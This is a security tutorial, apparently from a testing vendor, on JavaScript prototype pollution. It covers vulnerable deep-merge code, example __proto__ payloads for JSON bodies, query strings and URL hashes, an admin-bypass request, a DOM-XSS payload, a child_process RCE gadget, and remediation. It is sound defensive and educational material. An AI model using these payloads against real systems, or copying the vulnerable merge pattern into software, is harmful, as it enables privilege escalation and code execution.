Prototype Pollution: Finding and Exploiting JavaScript Object Injection
An attacker sends a POST request to your Node.js API. The JSON body looks innocuous — a nested object with a few keys. Your application deep-merges it into a configuration object, as it has done thousands of times before. The request returns 200 OK. Nothing looks wrong. But somewhere in the merge, the attacker slipped in a key named __proto__. Now every plain object created anywhere in your process has a new property it wasn't supposed to have. The next user who hits the /admin check gets in. You've been prototype-polluted.
Prototype pollution is one of the more counterintuitive vulnerability classes in web application security. It exploits a fundamental JavaScript language feature — prototypal inheritance — to inject properties into the global object prototype, affecting all objects created in the same process. It's pervasive in Node.js applications, has been the root cause of multiple critical CVEs in popular npm packages, and can escalate from property injection all the way to remote code execution in the right conditions.
JavaScript Prototypes: The 60-Second Version
JavaScript doesn't use class-based inheritance in the traditional sense (even though ES6 class syntax exists — it's syntactic sugar over prototypes). Every object in JavaScript has an internal link to another object called its prototype. When you access a property on an object, JavaScript first checks the object itself. If it doesn't find the property there, it walks up the prototype chain until it finds it — or reaches null.
Plain objects created with {} or new Object() have Object.prototype as their prototype. This is the root of the chain for almost every object in JavaScript. It's where built-in methods like toString(), hasOwnProperty(), and valueOf() live.
const obj = { name: "alice" };
// Property lookup chain:
// obj.name → found on obj itself → "alice"
// obj.toString() → not on obj → check obj.__proto__ → found on Object.prototype
// obj.nonexistent → not on obj → not on Object.prototype → undefined
// The prototype is accessible (though you shouldn't normally touch it) as:
console.log(obj.__proto__ === Object.prototype); // true
console.log(Object.getPrototypeOf(obj) === Object.prototype); // true (safer API)
The key insight: Object.prototype is shared across all plain objects in the entire JavaScript runtime. It is not per-object. Mutate it, and you mutate the behavior of every object that inherits from it — which is essentially everything.
What Prototype Pollution Actually Is
Prototype pollution occurs when an attacker can set properties on Object.prototype (or another constructor's prototype) through a path that the application code traverses as a side effect of processing attacker-controlled input.
The three most common attack vectors in property paths are:
__proto__— the non-standard but widely supported accessor for an object's prototypeconstructor.prototype— navigating to the constructor function and then its prototype objectprototype— used when the target is already a constructor function rather than an instance
Consider what happens when application code does a recursive property assignment — the kind found in any deep merge or deep clone utility — and the input is attacker-controlled:
function deepMerge(target, source) {
for (const key of Object.keys(source)) {
if (typeof source[key] === 'object' && source[key] !== null) {
if (!target[key]) target[key] = {};
deepMerge(target[key], source[key]); // recurse
} else {
target[key] = source[key]; // assign
}
}
return target;
}
// Attacker-controlled source:
const malicious = JSON.parse('{"__proto__": {"admin": true}}');
deepMerge({}, malicious);
// What happened:
// - key = "__proto__", source["__proto__"] = { admin: true }
// - target["__proto__"] is Object.prototype (the global root)
// - deepMerge recurses: target = Object.prototype, source = { admin: true }
// - assigns Object.prototype.admin = true
const victim = {};
console.log(victim.admin); // true — Object.prototype was polluted
After that merge, every new plain object in the process inherits admin: true — not because it was set on those objects, but because it was set on their shared prototype. The pollution is global and immediate.
Sources of Prototype Pollution
JSON.parse with Attacker-Controlled Input
JSON.parse itself is safe — it does not traverse prototypes. But JSON.parse followed by a deep merge, deep clone, or recursive property copy is the most common entry point. Any API endpoint that accepts a JSON body and passes it through a merge utility is a candidate if that utility doesn't guard against prototype keys.
Deep Merge Libraries
Lodash's _.merge() was vulnerable until version 4.17.12 (CVE-2019-10744). The lodash defaultsDeep function was vulnerable separately. Many hand-rolled merge utilities copied from Stack Overflow remain vulnerable today because the fix — checking for __proto__ and constructor keys before recursing — is not obvious if you don't know prototype pollution exists.
Other historically vulnerable packages include merge, merge-deep, defaults-deep, mixin-deep, lodash.merge, hoek (used heavily in the hapi.js ecosystem), and set-value. Many of these have been patched, but old versions remain in production and transitive dependency trees.
URL Query Parameter Parsers
The qs library, used by Express to parse query strings, supports nested object notation: ?user[name]=alice&user[role]=admin becomes { user: { name: 'alice', role: 'admin' } }. Older versions of qs were vulnerable to prototype pollution via ?__proto__[admin]=true. This was patched in qs 6.7.3, but applications pinned to older versions remain exposed. The querystring module in older Node.js versions was similarly affected.
Property Copy Loops
Any code that iterates over an object's keys and copies them — without checking whether the key is a dangerous prototype accessor — is a potential gadget. This pattern is extremely common:
// Vulnerable pattern — common in configuration merging, options handling
function applyOptions(defaults, userOptions) {
const result = {};
for (const key in userOptions) { // for...in includes inherited properties
result[key] = userOptions[key]; // copies __proto__ if present
}
return Object.assign(defaults, result);
}
// Safer:
function applyOptions(defaults, userOptions) {
const result = {};
for (const key of Object.keys(userOptions)) { // own enumerable keys only
if (key === '__proto__' || key === 'constructor' || key === 'prototype') continue;
result[key] = userOptions[key];
}
return Object.assign(defaults, result);
}
Exploiting Prototype Pollution: Privilege Escalation
The most immediately exploitable impact of prototype pollution is property injection for authorization bypass. Consider this Node.js/Express endpoint:
// Server-side Express handler
app.post('/api/user/settings', express.json(), (req, res) => {
const user = req.session.user; // { id: 42, username: "alice" }
// Deep-merge user-supplied settings into their profile
const updated = deepMerge(user, req.body);
db.saveUser(updated);
res.json({ ok: true });
});
// Elsewhere in the application:
app.get('/api/admin/dashboard', (req, res) => {
if (!req.session.user.isAdmin) {
return res.status(403).json({ error: 'Forbidden' });
}
// ... return admin data
});
The attacker sends this HTTP request:
POST /api/user/settings HTTP/1.1
Host: target.example.com
Content-Type: application/json
Cookie: session=alice-session-token
{
"theme": "dark",
"__proto__": {
"isAdmin": true
}
}
After deepMerge processes this body, Object.prototype.isAdmin is true. Now when any request handler checks req.session.user.isAdmin, it finds true — even for users who have no isAdmin property of their own — because the prototype chain returns the polluted value. Every user in the process, for the lifetime of the process, now passes the admin check.
The same technique applies to any property used in authorization logic: role, debug, premium, verified, internal. If the application checks a property that most objects don't explicitly set, pollution can inject it globally.
Finding the Right Property Name
Effective prototype pollution for privilege escalation requires knowing which property names the application checks. This comes from:
- Client-side JavaScript bundles — minified but searchable for property names like
isAdmin,role,debug - API error responses — applications sometimes expose internal property names in error messages
- Common patterns —
isAdmin,admin,role,debug,premium,superuser,verifiedare worth trying in any Node.js application - Source code disclosure — public repos, leaked bundles, or JavaScript source maps
Prototype Pollution to Remote Code Execution
Property injection for privilege escalation is damaging, but prototype pollution can reach remote code execution in Node.js under the right conditions. The attack chain typically involves polluting a property that gets passed to child_process.spawn() or a similar execution primitive.
The child_process Path
Node.js's child_process module accepts an options object for process spawning. The shell option, when set to true (or a shell path string), causes the command to be executed via a shell — which means shell metacharacters are interpreted:
const { execFile } = require('child_process');
// Application code: runs a user-supplied filename through an image processor
function processUpload(filename) {
const options = {}; // plain object, inherits from Object.prototype
// options.shell is not set — but if Object.prototype.shell was polluted...
execFile('/usr/bin/convert', [filename, 'output.png'], options, callback);
}
If an attacker can first pollute Object.prototype.shell = true, then any subsequent execFile or spawn call that passes a plain options object will inherit shell: true. Combined with a filename parameter the attacker controls — even one that passes a path validation check — the result is shell command injection.
The actual RCE gadget depends on what the application does after the pollution. Common gadgets include:
- child_process options —
shell,env,argv0 - Template engine options — polluting render options to enable code execution within template sandboxes (Handlebars, Pug, EJS each have known gadget chains)
- HTTP client options — polluting request options to redirect internal HTTP calls
- require() resolution — in some older Node.js versions and module systems, polluted module resolution paths
CVE-2019-10744: Lodash
This CVE covers prototype pollution in lodash's _.merge(), _.mergeWith(), _.defaultsDeep(), and related functions. Lodash was (and in many codebases, still is) one of the most widely used JavaScript utility libraries. The vulnerability allowed any caller of these functions with attacker-controlled input to pollute Object.prototype. Given how pervasive lodash was in the Node.js ecosystem, this effectively meant that a large percentage of Express applications were vulnerable if they merged any user-controlled data through lodash. The fix in 4.17.12 added explicit checks for __proto__ before recursing.
A related CVE, CVE-2020-8203, covers _.zipObjectDeep() in lodash, which was separately vulnerable to the same attack through the path notation it uses for nested key assignment. Both CVEs have CVSS scores of 7.4 (high).
Client-Side Prototype Pollution
Prototype pollution is not limited to Node.js servers. Browser-side JavaScript is equally vulnerable, and the consequences can include cross-site scripting when a polluted property ends up in a DOM sink.
Consider a Single-Page Application that parses the URL hash or query parameters into an options object, then passes that object to a UI library that reads properties from it:
// Vulnerable client-side code
function parseHashParams(hash) {
const params = {};
hash.replace(/^#/, '').split('&').forEach(pair => {
const [key, value] = pair.split('=');
setNestedProperty(params, decodeURIComponent(key), decodeURIComponent(value));
});
return params;
}
function setNestedProperty(obj, path, value) {
const parts = path.split('.');
let current = obj;
for (let i = 0; i < parts.length - 1; i++) {
if (!current[parts[i]]) current[parts[i]] = {};
current = current[parts[i]];
}
current[parts[parts.length - 1]] = value;
}
// Attacker-controlled URL:
// https://app.example.com/#__proto__.innerHTML=<img src=x onerror=alert(1)>
If a downstream DOM library reads a property like innerHTML, src, or href from a plain object without finding it as an own property — falling back to the prototype — the attacker-injected value reaches the DOM. This is client-side prototype pollution to DOM XSS, and it's a real exploit class with published research and known gadget chains in jQuery, Bootstrap, Sanitize-HTML, and other widely-used front-end libraries.
Tools like ppfuzz and DOM Invader (built into Burp Suite's browser) automate the search for prototype pollution gadgets in client-side JavaScript.
Testing Methodology
Manual Testing: Node.js REPL
For server-side testing, the Node.js REPL lets you verify whether a library or utility function is vulnerable before targeting a production endpoint:
// In a Node.js REPL or test script:
const merge = require('lodash').merge; // or your target utility
const payload = JSON.parse('{"__proto__": {"testPolluted": true}}');
merge({}, payload);
const probe = {};
console.log(probe.testPolluted); // true = vulnerable, undefined = not vulnerable
// Clean up for subsequent tests:
delete Object.prototype.testPolluted;
Test all three vectors — __proto__, constructor.prototype, and direct prototype assignment — since different utilities block some but not others:
// Vector 1: __proto__
JSON.parse('{"__proto__": {"polluted": true}}')
// Vector 2: constructor.prototype
JSON.parse('{"constructor": {"prototype": {"polluted": true}}}')
// Vector 3: nested path notation (for utilities that use dot-notation paths)
// set(obj, "__proto__.polluted", true)
// set(obj, "constructor.prototype.polluted", true)
Burp Suite: Intercepting JSON Bodies
In a proxy-based test, the workflow is:
- Identify endpoints that accept JSON bodies and perform any kind of merge, update, or extend operation on the parsed object — look for endpoints like
PATCH /user/profile,POST /settings,PUT /config - Intercept the request in Burp Proxy and send to Repeater
- Modify the JSON body to inject
__proto__payloads: add"__proto__": {"ironimo_test": true}at the top level, and also nested within any existing object properties - Send the request and observe the response — a 200 OK where you expect an error suggests the key was processed rather than rejected
- Verify pollution by making a subsequent request that would expose the injected property — for example, a GET request to a resource that returns your user object, or an endpoint that checks a property you just polluted
For query parameter testing, modify the URL in Burp:
GET /api/search?query=test&__proto__[isAdmin]=true HTTP/1.1
GET /api/search?query=test&constructor[prototype][isAdmin]=true HTTP/1.1
Burp's active scanner in Professional edition includes checks for prototype pollution in some configurations, but manual verification is more reliable for this class.
Automated Tools
ppfuzz is a purpose-built tool for discovering prototype pollution in web applications. It crawls the target, identifies JavaScript files, extracts property access patterns, and generates targeted payloads for each potential sink. It's most effective for client-side prototype pollution discovery.
DOM Invader (Burp Suite's browser DevTools extension) automates client-side prototype pollution testing by injecting a canary property into Object.prototype at page load and then monitoring whether any DOM sink reads the canary value — indicating a gadget chain from pollution to XSS.
For server-side API testing, nuclei templates exist for known vulnerable library versions (lodash, hoek, etc.), and automated dependency scanning with npm audit or Snyk will flag known CVEs in prototype-pollution-vulnerable packages.
What Automated Scanners Look For
Automated detection focuses on a few measurable signals:
| Signal | What it indicates |
|---|---|
Injected __proto__ key accepted without error |
Input reaches a merge/copy path without key filtering |
| Canary property appears on subsequently created objects | Confirmed prototype pollution — Object.prototype was mutated |
| Known vulnerable npm package versions in dependency tree | Application may be using an unpatched merge utility |
Response difference when __proto__ keys are present vs absent |
Application treats prototype keys differently — potential processing gadget |
| Client-side property access on objects with no own property | Potential DOM gadget — prototype-polluted value may reach a DOM sink |
Remediation
Freeze Object.prototype
The most direct defense is to make Object.prototype immutable at application startup. Object.freeze() prevents any property from being added, modified, or deleted:
// Add this at the very top of your application entry point
Object.freeze(Object.prototype);
Object.freeze(Object);
// Any attempt to write to Object.prototype will now either:
// - silently fail (non-strict mode)
// - throw a TypeError (strict mode)
// Neither will corrupt the prototype
This is a highly effective hardening measure. The main consideration is compatibility: some third-party libraries (particularly older ones) write to Object.prototype for polyfilling or extension purposes. Test thoroughly after adding this to ensure no library breaks. In modern codebases with up-to-date dependencies, freezing Object.prototype is generally safe.
Use Null-Prototype Objects
For data containers — objects used to hold key-value data rather than to call methods — create them with Object.create(null). These objects have no prototype at all, so they cannot be polluted and cannot pass pollution to consumers:
// Instead of:
const config = {};
// Use:
const config = Object.create(null);
// config.__proto__ is undefined
// config.toString is undefined — it has no prototype chain
// Also useful for safe hashmaps/dictionaries:
const registry = Object.create(null);
registry['user:42'] = sessionData;
// No risk of 'constructor' or 'toString' collisions with prototype methods
Null-prototype objects are slightly less ergonomic (you can't use config.toString() etc.) but are the safest choice for any object that stores attacker-supplied keys.
Safe Deep Merge Implementations
If you cannot use a library with a known-good implementation, write your merge function to explicitly reject prototype-polluting keys:
const UNSAFE_KEYS = new Set(['__proto__', 'constructor', 'prototype']);
function safeMerge(target, source) {
if (typeof source !== 'object' || source === null) return target;
for (const key of Object.keys(source)) {
if (UNSAFE_KEYS.has(key)) continue; // skip dangerous keys
const sourceVal = source[key];
const targetVal = target[key];
if (
typeof sourceVal === 'object' &&
sourceVal !== null &&
typeof targetVal === 'object' &&
targetVal !== null
) {
safeMerge(targetVal, sourceVal);
} else {
target[key] = sourceVal;
}
}
return target;
}
// Or use Object.hasOwn() to verify the key is an own property of source,
// not inherited — though for prototype pollution the main check is the key name
Prefer well-maintained libraries over hand-rolled implementations. lodash 4.17.21+ is patched. deepmerge 4.x is written with prototype safety in mind. If you're using an older version of any merge library, update it — prototype pollution is exactly the kind of vulnerability that npm audit will surface.
Input Validation and Schema Enforcement
Validating incoming JSON against a strict schema before processing it eliminates the attack surface at the entry point. If your schema defines the allowed keys explicitly, any payload containing __proto__ will fail validation and never reach the merge utility:
const Ajv = require('ajv');
const ajv = new Ajv({ allowUnionTypes: true });
const updateSchema = {
type: 'object',
properties: {
theme: { type: 'string', enum: ['light', 'dark'] },
language: { type: 'string', maxLength: 10 },
timezone: { type: 'string', maxLength: 64 }
},
additionalProperties: false // reject any key not in the schema
};
const validate = ajv.compile(updateSchema);
app.patch('/api/user/settings', express.json(), (req, res) => {
if (!validate(req.body)) {
return res.status(400).json({ error: 'Invalid input', details: validate.errors });
}
// Safe to merge — schema validation rejected __proto__ as an unknown key
mergeUserSettings(req.session.user, req.body);
res.json({ ok: true });
});
additionalProperties: false is the critical flag. It ensures that any key not explicitly defined in the schema — including __proto__, constructor, and prototype — causes validation to fail. This is good practice for all API endpoints regardless of prototype pollution, as it also prevents mass assignment vulnerabilities.
Keep Dependencies Updated
The majority of real-world prototype pollution exposures come from vulnerable versions of popular npm packages, not from application code written in-house. Running npm audit regularly — and integrating it into your CI pipeline — will surface known prototype pollution CVEs in your dependency tree before they reach production. Treat high-severity prototype pollution findings in transitive dependencies as critical: even if your code doesn't call the vulnerable function directly, a library you depend on may use it internally on data that ultimately comes from user input.
Ironimo tests Node.js and Express APIs for prototype pollution vectors — including JSON body injection, query parameter parsing, and merge function abuse — automatically, without manual payload crafting.